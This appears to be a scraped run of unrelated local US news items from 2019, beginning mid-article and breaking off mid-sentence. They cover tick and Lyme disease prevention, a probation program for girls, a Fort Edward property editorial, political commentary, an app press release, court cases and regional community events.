lemongrass and cedarwood oils, among others. Oils need to be reapplied like sunscreen, Ahern said. Repel ticks from pets Dogs and cats can contract Lyme disease, too, although they often dont show symptoms, according to Cornell University. Pet owners should look for sporadic fever, loss of appetite, lethargy and lameness, which can develop months after an animal is infected, and contact a vet if Lyme is suspected. Some topical treatments can be applied to dogs and cats, usually between the shoulder blades, that kill the ticks before they bite. Flea and tick collars also provide protection for months at a time. Some horse owners have been known to strap the collars around horses legs, Ahern said. While the collars work well, Ahern and Department of Health experts said theyre toxic. Animals are thought to be better protected against the poison by their hair or fur, which is why humans, for example, shouldnt wear them. Tick Encounter Resource Center out of the University of Rhode Island has investigated products to protect animals from ticks, and its findings can be checked out at tickencounter.org/prevention/tick_control. Pets, including horses and livestock, can also be vaccinated for Lyme disease. Cornell University also has an Animal Health Diagnostic Center that can test for multiple tick-borne diseases. Repel ticks from your lawn Maintenance practices for your lawn can also help protect you and your pets from ticks. Here are some tips from the Centers for Disease Control and Prevention: Mow your lawn, keep leaves raked and keep brush away from your home; Keep playground equipment and outdoor furniture away from yard edges and in a sunny spot; Apply wood chips or rocks to separate lawns from a wooded area; Plant deer-resistant plants, such as poppies and daffodils. Recognize and remove ticks If you are unlucky and get bit or find a tick crawling on you, its important to be able to recognize the tick and remove it properly. The most common ticks in New York are black-legged ticks (also called deer ticks), dog ticks and lone star ticks. To view what each of these kinds of ticks look like go to health.ny.gov/publications/2813. If its attached, remove the tick using these steps from the CDC: Grasp the tick as close to the skin as you can with fine-tipped tweezers; Pull upward without twisting or jerking and remove the tick; Clean the area with rubbing alcohol or soap and water; Dispose of the tick in alcohol or by flushing it down the toilet. You can also package the tick in a bag for testing. The state Health Department also has videos to help guide you in removing a tick. The state is keeping track of ticks and tick-borne illness data by county. To view annual results, go to healthdata.ny.gov and in the search bar type in tick. If youre having trouble identifying your tick, an app created by the University of Massachusetts Amherst allows you to submit a photo. The schools Laboratory of Medical Zoology will identify it for free. To learn more about the app and download it, go to tickreport.com. This lab will also take your ticks and test them for Lyme disease and other illnesses. Several other labs will do this, too, at varying costs. You can help keep track of where ticks are using a relatively new app on your phone. Its called TickTracker, and its the brainchild of 13-year-old Olivia Goodreau, who contracted Lyme disease. To map where youve found a tick, go to ticktracker.com. While some people wait for the iconic bulls-eye rash to show up before going to a doctor, Ahern said dont. Only about 10% of Lyme disease cases show the rash. Ahern recommends asking your health care provider for a full course of antibiotics, because the earlier Lyme disease can be caught, the better the outcomes for patients. Current blood tests for Lyme will appear negative in the first four weeks of infection. Ahern and others are working on more effective ways to test for Lyme disease. To learn more about Aherns nonprofit organization, Lyme Action Network, go to lymeactionnetwork.org. With warmth, ticks advance, bearing disease After two years of research and writing, Mary Beth Pfeiffer started a book tour last week that could also be described as a warning: The ticks Reporter Gwendolyn Craig can be reached at (518) 742-3238 or gcraig@poststar.com. Follow her on Twitter @gwendolynnn1. Love 0 Funny 0 Wow 0 Sad 1 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The teenage girl from the Glens Falls area had been in trouble for years, a path that eventually led to an arrest in New York City for prostitution and drug possession. When she returned to Warren County, there were few options to get her on a better path that hadnt been tried already. But a new program for troubled girls being overseen by the county Probation Department has shown success in helping her, and girls battling similar problems that stem from childhood trauma, improve their lives and outlook on life. Warren County Probation Director Robert Iusi said the program guided by his offices juvenile probation supervisor, Amy Secor, uses a non-traditional approach to help the young women who have had brushes with the law or behavorial problems. Dubbed Girls Circle, the effort has been shown to improve self esteem and help the teens develop positive connections with peers and adult women. The women counsel and network with each other and the young women are exposed to positive female role models. Secor said she noticed that many of the teen girls her office was asked to supervise through probation in Family Court or criminal court had been victims of child sexual abuse. They had been in counseling, but needed more help in dealing with the trauma they had endured, trauma that seemed to be playing a part in their troubles. Secor learned of the Girls Circle program, which provides peer counseling and support for girls ages 9 to 18, and thought the local girls might benefit from its structure. The program works when the girls bonding over common experiences and lean on each other for advice and help. Girls police themselves. They help each other out, Secor said. They also bond with the women, such as Secor, who serve as mentors. Secor told Warren County leaders last week about a situation where a woman reported that her daughter, who is a participant in the program, was refusing to go to school. After a brief phone conversation with Secor, she got dressed and was off to class. Secor and Leigh Anne Dorman, victim services coordinator of Sexual Assault Support Services of Planned Parenthood Mohawk-Hudson, have been integral in making the program work in Warren County. Dorman said Girls Circle started in juvenile detention centers and spread to help those who are out of custody. She said the majority of the young women referred to Girls Circle are struggling with making unhealthy choices, and because there are necessary consequences of those same choices, What we see is a sense of, well, Im always getting in trouble and everyone thinks Im a bad kid, so why would anyone believe in me? attitude from these girls. Dorman, who is a trained facilitator of the program, said she is glad that its taking hold in Warren County. Girls Circle is not a punitive group, rather it is entirely about empowering young women, in a safe environment, to not only share their struggles, but to learn about things like body image, expressing individuality, diversity, substance abuse, family and themselves, how to be a good friend, and other topics meant to encourage and support a strong appropriate voice, Dorman said. Secor said Dorman has been a huge asset to the program. These kids really connect with her, she said. As probation departments in neighboring Washington and Saratoga counties have heard about the programs success, they have arranged to have girls they are supervising take part as well. There are generally six to eight young women participating in the program in Warren County, but it has been growing. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 We believe people of good will are involved with the effort to develop the former dewatering site in Fort Edward, but we also cant shake the conviction that something about the setup isnt right. WCC is a real estate holding company associated with D.A. Collins, which is a collection of construction companies with corporate headquarters in Wilton. WCC owned the 80-acre dewatering site until recently, when it donated it to Fort Edward Local Property Development Corp., a nonprofit that was just formed in December. OUR VIEW The lack of transparency about who is running the various entities involved in the dewatering site deal in Fort Edward is not reassuring. Donating the property to a nonprofit would allow WCC to take a tax deduction. It also has relevance for local entities the town and village of Fort Edward and the school district that rely on local property taxes, because nonprofits are generally exempt from property taxes. So far, its hard to see how the new arrangement benefits the local community. In future years, will the new nonprofit pay the hundreds of thousands of dollars owed in property taxes annually on the land? People who are part of this arrangement say that another for-profit company has been formed, called Fort Edward Development, that will pay the taxes. Don Boyajian, a lawyer involved with the project, said Fort Edward Development is made up of employees of WCC. To review, we have three entities taking part in this deal, two of which WCC and Fort Edward Development trace back to D.A. Collins. The deal, Boyajian and others say, is that the local nonprofit Fort Edward LPDC will contract with the for-profit Fort Edward Development for management services. Fort Edward Development will pay the taxes and insurance on the property and get 50% of profits from the site. It is, at best, a confusing arrangement, and at worst, an improper one. Jeff Pearlman, director of the state Authorities Budget Office, questioned the setups legality, saying he wasnt sure the nonprofit would be allowed to strike a profit-sharing deal with a for-profit company. Meanwhile, taxes are overdue on the property, and unpaid. This year, it appears, the owner will be required to pay them. But what will happen in future years is unknown. The people involved say the taxes will be paid, but Fort Edward LPDC, as a nonprofit, could be exempt. The line between for-profit and not-for-profit is being blurred here. Was the convoluted arrangement set up as a way for the D.A. Collins-associated companies to gain financial benefits? WCC has already benefited by getting a tax break for its donation. Before the donation, WCC was involved with Washington County in tense negotiations over back taxes. Perhaps all this forming of companies and transferring of ownership was done to give WCC leverage in those negotiations. Regardless of the reasons for the arrangement, it appears to be on shaky legal grounds. The refusal by some of the parties to say exactly who is involved is not reassuring. John Davidson, a spokesman for WCC, has so far refused to say who is involved in the for-profit management company, Fort Edward Development. Were glad the arrangement has come to the attention of the state Authorities Office, and we hope state officials exercise their oversight authority. The property has impressive infrastructure, such as a rail line, and great industrial potential. But in developing the site, Fort Edward LPDC must operate as an independent and transparent nonprofit that is not beholden to or controlled by a for-profit company like WCC. Local editorials represent the opinion of the Post-Star editorial board, which consists of Editor Ken Tingley, Projects Editor Will Doolittle, Publisher/Controller/Operations Director Brian Corcoran and citizen representatives Connie Bosse, Barb Sealy and Jean Aurilio. Love 1 Funny 3 Wow 1 Sad 0 Angry 1 Editor: I first want to mention Rep. Stefanik's bizarre legislation requiring the FBI to notify Congress if candidates were under investigation. It would've been a footrace among Republicans on the Hill to see who could inform candidate Trump first. His campaign was warned that foreign actors, including Russia, would try to infiltrate it and that they should, wait for it, tell the FBI. In the wake of the Mueller report, Rep. Stefanik put out a statement noting "no collusion between Russia and the Trump campaign." She's going to focus on "interference in our elections by Russia and other foreign adversaries." It would've been nice to see some mention of obstruction to balance that no collusion mantra. Mueller seemed to say that the only thing preventing those charges were OLC guidelines against indicting a sitting president and Trump's staff saving him by not following orders. A group of writers at Lawfare blog posted that Trump's campaign "were aware the Russians sought to help him win. They welcomed that assistance. Instead of warning the American public, they instead devised a public relations and campaign strategy that sought to capitalize on Russia's illicit assistance. In other words, the Russians and the Trump campaign shared a common goal, and each side worked to achieve that goal with basic knowledge of the other side's intention. They just didn't agree to work toward that goal together." Rudy Giuliani said this weekend, "There's nothing wrong with taking information from the Russians." It kind of sounds like our congresswoman agrees with that. They didn't help Donald Trump in order to MAGA. That's a given. Maybe finding why they did is something she could focus on. Kevin Robbins, Fort Edward Love 1 Funny 0 Wow 0 Sad 0 Angry 0 WASHINGTON - RFE/RL has submitted the following letter to the editors of The Wall Street Journal, concerning WSJs April 25, 2019 article U.S. Broadcaster Under Scrutiny for Disseminating Autocratic Propaganda": --- To the editor: U.S. Broadcaster Under Scrutiny for Disseminating Propaganda (April 25, 2019) repeats unverified allegations and makes several errors. Most egregiously, to support its allegations, the article cites "The State Department memo on the Tajikistan Service"-- but the document in question is no such thing. It is an unsigned, undated collection of rumors and allegations that, when asked by RFE/RL, State Department officials themselves conceded they could not stand behind. The article also uncritically accepts the documents mistaken references to the Services affiliation with the U.S. government and relationship to USG regional messaging. To the contrary, RFE/RL is a nongovernmental organization whose editorial independence is protected by U.S. law. Regarding a reference to contracts between the Tajik Service and a local radio affiliate, the U.S. Agency For Global Media (USAGM) has looked closely at these allegations and verified that all contracts were awarded through rigorous, competitive processes. There is no direct contact between RFE/RL and its broadcast affiliates. This point was made repeatedly to the Journal, but ignored. The article repeats other allegations that have been brought to RFE/RLs attention, and which, when warranted, we have taken decisive measures to address. For example, internal and external content evaluations produced for the company over the past several weeks did find evidence of bias in the Tajik Services reporting, but new leadership and renewed oversight have brought demonstrable changes. This week alone, Tajik Service reporting included a Skype interview with Muhiddin Kabiri, the exiled leader of the opposition Islamic Renaissance Party of Tajikistan, which is banned by the government. The Service also covered a government decree doubling fees for Internet service, and a young mans wrongful conscription into military service. These reports helped drive some 2.8 million views on the Services YouTube channel over the last seven days. RFE/RL works in some of the world's most restrictive societies, providing news and information to audiences that need it most. We are proud of our journalists, who work under enormous pressure, and are committed to ensuring the integrity of our journalism. We welcome any credible criticism based on credible sources. Daisy Sindelar Acting President and CEO RFE/RL April 26, 2019 in Travel (E) [prMac.com] Taipei, Taiwan - Packing Pro, the popular travel app for the iPhone, iPad & iPod touch by QuinnScape, today celebrates its 10th anniversary on the App Store. In celebration, there is now a limited-time Anniversary Sale of 66% off from now until April 28. Packing Pro can be purchased for only US$0.99 - one third of its original price of US$2.99 - a great deal, and perfect timing for the upcoming Summer travel season. Originally based on the Packing (+TO DO!) app, which was released six months earlier in 2008, these apps were two of the first few thousand apps on the App Store, compared to the millions that are currently there today. During this time, both apps have kept pace with and added support for all of Apple's new iOS updates and devices, starting with iOS 2 and iPhone 3G, and progressing all the way up to the current iOS 12, iPhone X/X Plus, iPad Pro, iPad Air 2, iPad mini 4 & iPod touch 6G. Packing Pro has also maintained its position in the top 10 or 20 for all travel apps for much of this time. During these ten years, Packing Pro has been highlighted on Apple's App Store several times, such as in the "Travel Essentials," "Travel Survival Kit" and "Travel Expenses" promotions, among others. It has also ranked at #1 for iPads and #2 for iPhones in the U.S. App Store's Travel section. Besides Apple, Packing Pro has also been recognized by CNN, WSJ, BBC, The New York Times, Expedia and Budget Travel, and has earned glowing reviews on major tech and app blogs (Gizmodo, Mashable, Macworld, CNET and iPhone Life, among others). Packing Pro is a mobile travel packing list app that features unlimited, 100% customizable packing lists, an extensive, yet flexible, catalog, handy sample lists, iCloud auto-sync and various list sharing options. A host of special functions include: * Multi-item selection from catalog for speedy list building * Multi-item editing for easy list & catalog management * Collapsable categories with floating headers & running item tallies * List sorting & filtering by packing status, priority, need to buy, bag and/or person * Item, weight, value and packing status totals & subtotals * Item images to eliminate any confusion - never again pack the wrong item * Item & list alerts for user-set reminders * Email export for list & file sharing * Wireless printing * Fully customized device support for all sizes of iPhone, iPad & iPod touch * Full multi-lingual support for English, Spanish, French, German, Italian, Portuguese, Russian, Polish, Japanese & Chinese Besides the core features listed above (which are also present in the basic Packing (+TO DO!) app), Packing Pro also gives its users the following Pro-level features: * iCloud auto-syncing support * Expert packing list wizard that can "automagically" create a list * Email, iTunes, AirDrop, Dropbox & Box file sharing, backup & out-of-app editing support * Customized design (themes, layout, fonts, colors, textures) * Double-sized Master Catalog with over 800 items and to-do tasks * Twice as many sample lists * Smart Search (lists & catalog) Ten years on Apple's App Store have given QuinnScape valuable experience, and Packing Pro, its star product, has stood the test of time and truly become an essential app for your iPhone, iPad or iPod touch. Take advantage of this limited-time 66% off sale and check it out today! Pricing and Availability: Packing Pro is a universal app that is available for purchase worldwide on the iPhone & iPad App Store for $2.99 USD (Now Only $0.99!), or the equivalent in local currency. The basic Packing (+TO DO!) sells for $0.99. Since its founding in October 2008, QuinnScape has been managed by Quinn Genzel. Quinn is best known for his popular, top-ranking travel packing apps: Packing (+TO DO!) and Packing Pro. Packing Pro has been recognized by Apple, CNN, WSJ, BBC, National Geographic, Budget Travel, Fodor's, CNET, Macworld and a host of others as one of their top apps for traveling. Other app created by Quinn include a grocery shopping list app (Shopping Pro), nature appreciation apps (iLove Nature and iLove Birds), 3D VR action games (R.I.P and Ghost Buddy) and high-quality puzzles (the aQ's Pro Slider Puzzle series). Copyright (C) 2008-2019 QuinnScape. All Rights Reserved. Apple, the Apple logo, iPhone, iPod and iPad are registered trademarks of Apple Inc. in the U.S. and/or other countries. ### Turning the ship before it hits the iceberg Christopher Hasson. Photo: U.S. Attorneys Office for the District of Maryland Coast Guard lieutenant Christopher Hasson didnt meet standards for continuing detention before his trial on gun and drug charges, a federal judge has ruled. The judge, Charles Bernard Day, ruled that Hassons charges were not severe enough to merit his pretrial detention. Prosecutors had argued that Hasson, an admitted white nationalist who once wrote that I am dreaming of a way to kill almost every last person on earth, was too dangerous to release. Hasson had drawn up a kill list, said he admired the white-nationalist murderer Anders Breivik, and wanted a white homeland. Authorities discovered 15 firearms, silencers, and 1,000 rounds of ammunition in a search of his home. As Ryan Reilly reported for HuffPost on Thursday, Day may have been restricted by the law. Federal law doesnt criminalize domestic terrorism. Prosecutors could and did call Hasson a domestic terrorist, but they cant charge him as one. Federal law may also not apply to Hassons alleged plan to kill prominent Democrats and liberal journalists, Reilly added. Hasson did not walk out of court a free man on Thursday. He will remain in custody until a future hearing, where Day will determine the terms of his pretrial release. According to CNN, Day said he still had grave concerns about Hasson, and added that hes got to have a whole lot of supervision. MUSCATINE The American Civil Liberties Union recently released a report finding a nationwide shortage of mental health providers in schools with police officers. The results showed, in part, Iowa had a student to counselor ratio much higher than recommended by the American School Counselor Association. For every 250 students the association recommends at least one counselor. According to the "Cops and No Counselors" report, Iowa schools were found to have 378 students for every counselor. For the Muscatine Community School District, the ratio is about 275 to one, based on enrollment data for the 2018-2019 school year. The district has also seen a decrease in enrollment which also brings it closer to the recommended ratio. Supplemental data provided by ACLU Iowa also showed the Muscatine Community School District had one school with a police officer and no counselor. Responding to the report findings, MCSD Superintendent Jerry Riibe said the district has been working to do more for students. "We've really been doing a lot to provide mental health care," he said. The officer was taken to Genesis Medical Center-East Rusholme Street, Davenport. Dennis and the other man were taken into custody; Dennis was taken to the hospital, and was booked into Scott County Jail after his release. The crime scene stretched along West 17th Street from about Davis Street on the west to North Sturdevant Street on the east. For several hours Thursday, officers talked to neighbors and searched yards, dumpsters and trash cans. An officer led a K9 through yards and along the sidewalk. Some people stood near the scene taking photos and videos with their cellphones. Several people driving through the area yelled whats going on? at bystanders. Abbie Meewes, who lives in the neighborhood, said she was feeding her son when she heard two pops. Then out of nowhere, I start hearing the cars coming, screeching and squealing, she said. Kimberly Smithe, owner of G & G Retailers Inc. on West 17th Street, said she heard the sirens and saw a squad car going down the alley and heard it screech to a halt. The Iowa Department of Natural Resources investigated a complaint about overflowing manure late Wednesday north of Charlotte, according to a press release. DNR found evidence of manure overflowing from a concrete storage structure at D&D Dairy, which ran overland to a small tributary of Bear Creek. While DNR field tests showed elevated levels of ammonia in the creek, they found no sign of dead fish. Owner Darryl Banowetz said he had built an earthern berm to retain the overflow and that the overflow began April 22. DNR says they will continue to monitor cleanup and consider appropriate enforcement action. Spills and fish kills should be promptly reported to the 24 hour spill line at 515-725-8694, the DNR says. Those responsible must report to the DNR within six hours of discovery or occurrence. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. But one of the challenges, Hill said, is that the symptoms of gonorrhea may actually be mild or show no symptoms at all. "People may not realize that they have it, especially women. The symptom of discharge is pretty vague, and I think that most women know what a yeast infection looks like but may not know what this may look like," she said, saying they don't appear to look the same according to what she's read. Sore throats, Hill noted, can also come from anywhere. "People would think they know when they have strep because it's sudden and it hurts really badly." The Rock Island County Department of Health offers an anonymous walk-in clinic for sexually transmitted infections on Wednesdays 1:30-3:30 p.m. at its office, 2112 25th Ave., Rock Island, for $25. In Scott County, the rate for chlamydia is high, though not quite at outbreak level. Syphilis requires a blood test, said Scott County Department of Public Health Clinical Services Coordinator Roma Taylor. "If they're showing symptoms based on their assessment, we go ahead and treat them." Marie Newman at an event in Washington on January 17, 2018. Photo: Bill Clark/CQ-Roll Call,Inc. Marie Newman only launched her campaign against Dan Lipinski, the incumbent Democrat who represents Illinoiss Third Congressional District, last month. But the Democratic Congressional Campaign Committee may have already tipped the scales to favor Lipinski, who opposes legal abortion rights, and against Newman, who is pro-choice. In March, the DCCC announced that it wouldnt work with vendors who sign on to insurgent campaigns against incumbent Democrats like Lipinski. Now, four consultants have left Newmans campaign, the candidate told Politico on Friday. Weve now had two mail firms say that they couldnt work with us because of the DCCC issue, and then a [communications] group, a compliance group and several pollsters, she said. Lipinski does not represent a solidly conservative district, and Newman nearly defeated him in a primary in 2018. The news that consultants are already leaving Newmans campaign will likely exacerbate an ongoing furor over the DCCCs policy. The Intercept reported on Thursday that Democrats on 31 college campuses have announced their own donation boycott of the DCCC. Though students arent major donors to the party, one Harvard Democrat told the Intercept that they are still stakeholders in the party, and that the campaign is more about using this language of boycott to draw attention to the issue and to use our platform as students to hopefully get them to reconsider the policy. The policy could, they fear, keep a younger, more diverse class of Democrat out of office. Politico also reports that Representative Cheri Bustos, who heads the DCCC, met with Our Revolution leaders this week; the progressive organization, which was founded by veterans of Senator Bernie Sanderss 2016 presidential campaign, delivered a petition to Bustos asking the DCCC to change its policy. Justice Democrats, who backed Representatives Alexandria Ocasio-Cortez and Ayanna Pressley against Democratic incumbents, have created an alternative list of campaign vendors who are willing to work with primary insurgents. Newmans nascent campaign has the potential to test outsider groups like Justice Democrats, alongside more established party partners like NARAL Pro-Choice America and EMILYs List. Pro-choice organizations backed Newman against Lipinski in 2018, and could do so again in 2020. The DCCC, meanwhile, appears committed to its incumbent policy despite growing outcry. The DCCC has worked to change how Washington works, increase transparency in politics and be perfectly clear with all its partners about the standards it expects of them, an aide told Politico. An official statement from IPERS, issued Thursday afternoon, disputed those accusations. This bill does not alter the employers obligation to pay the employer portion of IPERS' contributions as established annually under (Iowa law). This bill does not affect a members or retirees pension, the IPERS statement said. Despite heavy opposition from Democrats and municipal governments, the proposal passed the House and Senate largely on party-line votes, with majority Republicans supporting. The proposal, Senate File 634, heads to Gov. Kim Reynolds for her consideration. Earlier this week she declined to comment on the bill, but said more generally she thinks leaders should be looking for ways to lower Iowans property taxes. Statehouse Republicans also pushed back at the suggestion that the proposal would hurt public pensions. The legislation does not prescribe any changes to IPERS. Republican U.S. Sen. Joni Ernst says Special Counsel Robert Mueller is under fire from Democrats because they did not see their desired outcome following the Justice Departments nearly two-year investigation of conspiracy between the Trump campaign and Russia. She made the comments after a town hall forum at St. Ambrose University in Davenport on Friday. Findings from Muellers report, which dropped on Washington last week, concluded that no coordination occurred between President Donald Trumps campaign team and Russian operatives, an aspect Republicans including Trump have seized on as vindication of the president. But Democrats have recently aligned focus around the reports indication that the president may have sought to stop the investigation from happening altogether, with some questioning whether he should face criminal charges. Such an action would constitute obstruction of justice, but U.S. Attorney General William Barr has claimed there is insufficient evidence to support criminal action against the president. Asked for her thoughts about a Trump attempt to thwart the investigation, Ernst said the main takeaway is that the investigation was allowed to continue. Habitat For Humanity Quad-Cities has been awarded this year's Community Impact Grant from the North Scott Rotary, the club's board and Community Needs Committee announced. The nonprofit will receive $15,000 to put toward the building of a new affordable Habitat home in Davenport. This marks the second year the Rotary has awarded a Community Impact Grant. Habitat was selected from 10 applicants. North Scott Rotary members and their families will be able to witness firsthand the impact the program has on a Quad-City family by assisting in the homebuilding through service days and by attending the dedication ceremony for the new homeowners. Elesha Gayman, Habitat's development director, said the New Home Construction Program is a multi-prong approach to breaking the cycle of poverty. The first step is to identify and mentor candidates to become homeowners. After attending classes to learn homeownership skills from budgeting to home maintenance, the candidates provide 250 hours per adult of "sweat equity" to help build their new home working along with community volunteers. This house project is estimated at $117,000. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Democratic presidential hopeful Eric Swalwell will be taking part on Sunday in "Leading the Nation Iowa 2020," the first of a series of candidate forums sponsored by the Quad-City Times, St. Ambrose University and the Quad-Cities Chamber of Commerce. The forum will be at 6:30 p.m., April 28, at the Rogalski Center on the campus of St. Ambrose University. The series of presidential forums is aimed at informing Iowans ahead of the first-in-the-nation caucuses set for Feb. 3, 2020. Swalwell, a congressman from California, announced his candidacy earlier this month. The 90-minute forum will begin with introductions, followed by remarks by Swalwell, and then a panel discussion with journalists to be moderated by Quad-City Times Editorial Page Editor Ed Tibbetts. Then there will be a question-and-answer period with the audience. Swalwell was elected to Congress in 2012, and he has made fighting gun violence a key issue in his campaign. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Miller said it is not uncommon for Democratic state attorneys general to enter legal challenges to Republican administrations, and vice versa. That is part of our checks and balances, that when there is an administration and there is overreach, for a variety of reasons it is most likely people of the opposite party. And theres nothing wrong with that, Miller said. And after all, what were talking about is not us deciding anything; the judge decides. Gov. Kim Reynolds must decide whether to sign the provision into law or reject it. She declined this week to offer her plans, instead saying only that she will review the proposal once it reaches her desk. Miller said according to his research if the proposal becomes law, it would be the only such limitation on a state attorney general in the country. Miller said he will lobby Reynolds to veto the bill, and that he thinks he can get a few other state attorneys general --- including some Republicans --- to support his effort. He declined to say whether, if the proposal is signed into law, he would challenge the law in court. "We're seeing the viral spread of the Islamic State, which takes root in fragile environments where people feel disenfranchised and excluded," says Nancy Lindborg, president of the U.S. Institute of Peace. She explains that the Islamic State's global network has grown so rapidly over the last five years that it's bigger now than al-Qaida ever was. "We can't kill our way out of this," Lindborg argues, noting that more repressive security forces in places like Sri Lanka will only make the problem worse. Lindborg spoke Tuesday at a meeting hosted by her institute to release a new report entitled "Preventing Extremism in Fragile States: A New Approach." The gathering was timely, and the conclusions were stark. America has failed to learn the lesson of Sept. 11, argued Tom Kean, the Republican former governor of New Jersey, who was chair of the 9/11 Commission and is co-chair of the new USIP task force. The U.S. took down the leadership of al-Qaida, to be sure, just as it did later against the Islamic State. But the 9/11 Commission had argued for a broader strategy that would attack the underlying causes of terrorism, not just respond militarily, Kean reminded the USIP audience. Chadron State Colleges 58th annual Scholastic Contest has been rescheduled to Wednesday, May 8, due to a snow storm on the original date in April. Registration is open until Thursday, May 2, according to Jamie Hamaker, chair of the Scholastic Contest committee. High school students from Nebraska, South Dakota, and Wyoming will convene on campus to take 42 tests in subject areas across the curriculum. Two new tests include one in Environmental Science and one in Physical Science. Tests will take place at 8:30 a.m., 9:30 a.m., 10:30 a.m. and 11:30 a.m. Results can be viewed online. CSC President Randy Rhine said the college appreciates the efforts on the part of the school districts, administrators, and teachers who have selected, encouraged, and supported student participation in the contest. Each senior who places first in a competition earns a one-year tuition waiver to CSC. The top school in each of the five divisions receives a plaque. The student winners of each test will receive a CSC sweatshirt, and medals will be awarded to the top three students in each test. Those finishing in the top 25 percent of each test will receive certificates of merit, while all participants will receive certificates of participation. Activities for students while they are not competing include a photo booth in the Student Center, yard games south of High Rise, a fingerprint lab in Old Admin, rides with the Army National Guard at the Lindeken Clock Tower, a scavenger hunt in the King Library, a shoot around in the Nelson Physical Activity Center, and a concert in Memorial Hall. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Even if SCOTUS reverses Roe v. Wade, women in Kansas could enjoy the right to choose. Photo: Nicholas Kamm/AFP/Getty Images With two Trump appointees now reinforcing a solid majority conservative bloc on the U.S. Supreme Court, the survival odds of a federal constitutional right to an abortion as we have known it since Roe v. Wade came down in 1973 are not very good. In anticipation of the day when states will again have significant leeway if not total control in the area of abortion policy, many Republican-controlled states have been enacting laws that blatantly violate SCOTUS standards, implicitly inviting the Court to change everything. There has even been a countertrend in some Democratic-controlled states to hedge against the reversal of Roe with their own policies protecting abortion rights (most famously in New York, which enacted a Reproductive Health Act in January). All told, ten states now have laws protecting abortion rights at least until fetal viability, according to the Guttmacher Institute. But no malleable state statute protecting a right is any substitute for a constitutional guarantee. So thats why its so significant that the Kansas Supreme Court has now recognized a state constitutional right to an abortion as inherent to language acknowledging life, liberty, and the pursuit of happiness as inalienable natural rights. Since this language, drawn from the Declaration of Independence, has been popular among constitution-drafters over the centuries, it represents a coup for abortion rights that might be replicated elsewhere. And it wasnt a close decision, since six of seven justices concurred with this reasoning (as reported by NPR): We are now asked: Is this declaration of rights more than an idealized aspiration? And, if so, do the substantive rights include a womans right to make decisions about her body, including the decision whether to continue her pregnancy? We answer these questions, Yes. The court continued that this right allows a woman to make her own decisions regarding her body, health, family formation, and family life decisions that can include whether to continue a pregnancy. The State may only infringe upon the right to decide whether to continue a pregnancy, the ruling continued, if the State has a compelling interest and has narrowly tailored its actions to that interest. Though rooted in a different constitutional premise, the Kansas courts conclusion is similar to the standard set by SCOTUS in Roe and in Planned Parenthood v. Casey. The case arose from a challenge to a 2015 law enacted by the Republican-controlled Kansas legislature that banned all abortions using the dilation-and-evacuation method, the most commonly used procedure for second-trimester abortions (and representing an estimated 9 percent of abortions in Kansas). Conservative legislators, of course, are already vowing to pass a constitutional amendment to overturn the decision and restrict abortion rights, which would have to be ratified in a statewide referendum. But they wont get any support from pro-choice Democratic governor Laura Kelly, unlike the governor who signed the 2015 law, culture-war stalwart Sam Brownback. In a parallel development earlier this month, the Vermont Senate overwhelmingly passed a constitutional amendment specifically recognizing the right to an abortion; the state House is likely to follow suit, but that states provisions for amending the constitution would require a second vote and then a referendum which can only happen in November 2022 at the earliest. Theres no telling what will be left of Roe v. Wade by then. But for the time being, the rights of women in Kansas are safe. Seven Chadron State College students attended the Sigma Tau Delta International Convention in St. Louis in late March. Dr. Kimberly Cox, and Dr. Mary Clai Jones, co-advisers of CSCs chapter of Sigma Tau Delta, attended the convention with the student group. Cox said the CSC students have cultivated a clear presence at both regional and international Sigma Tau Delta events in the past three years. Zane Hesting of Chadron earned an honorable mention and ranked fourth out of 85 for his poetry. Alyssa Ermish of Chadron also presented a creative piece, while Shannon Schneider of Cody, Nebraska, and Naomi Sughroue of Chadron, presented critical pieces on Shakespeare and John Milton, respectively. Schneider said she enjoyed talking about literature with other English enthusiasts. Being in St. Louis, surrounded by English people, was surreal. It was one of the biggest conventions I've ever attended, Schneider said. Sughroue said she enjoyed seeing so many people in one place celebrating literature and the art of writing. Ashten Gerbing of Fort Collins, Colorado, Lydia Privett of Wahoo, Nebraska, and Nalani Stewart of Fort Sill, Oklahoma, attended panels about career opportunities for English majors. Privett said the convention was an eye-opening experience. It was great to see all of the career options we have as literature majors. Its a great time spent with our professors, Privett said. Stewart said the panel discussion topics ranged from how to write horror, to women in Shakespeare. It was wonderful to see all of these creative people coming together to show what came from their imaginations, Stewart said. Cox said she is continually impressed by the quality of the students' work and how thoughtfully they are able to answer questions about it. Our students fill me with pride as a professor and adviser, and they continue to show the strong work that comes out of Chadron State College, Cox said. As a rural institution, it's so important for our students to have the opportunity to network and professionalize with students from other colleges and universities in our region and outside of it. Our students' attendance at this conference illustrates the well-rounded education students in the English program receive here at CSC. Clai-Jones said she was inspired by her students presentations. (It) reminded me how valuable it is to share our work, whether it be critical or creative. Our students presented their work with poise, confidence, and enthusiasm, often better than veteran academics, Clai-Jones said. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A former police captain and councilman with the Rosebud Sioux Tribe pleaded not guilty last month to 22 federal wire fraud charges after allegedly trying to blame his actions on the mother of his children. If found guilty, Calvin "Hawkeye" Waln Jr., 41, could be sentenced to 30 years on each count. The U.S. Attorney's Office in South Dakota said in a press release that Waln is a former RST police captain. Several past news articles also mention his role and quote him making allegations of widespread police brutality within the RST force. Other articles, including a 2015 Journal story, also identify him as a former council representative. Waln appeared to have engaged in the alleged wire fraud after he left these positions. The indictment accuses Waln of knowingly writing $4,022 in insufficient funds checks from empty or closed accounts to pay an individual and businesses including discount, grocery, convenience and hardware stores. Waln inherited $8,384 from his mother's life insurance policy after she died in January 2017, the indictment says. He deposited the money into a Voya Financial account on March 13, 2017, and spent all the money by March 22. Voya closed his account March 31 but Waln continued to pass nine checks worth $2,525 through the account from April 2017-May 2018. To conceal his scheme, the indictment says, Waln pretended to be the mother of his children and wrote a letter taking blame for the actions. He then sent the letter and forged signature to Alvin Pahlke, a special prosecutor with the RST who was 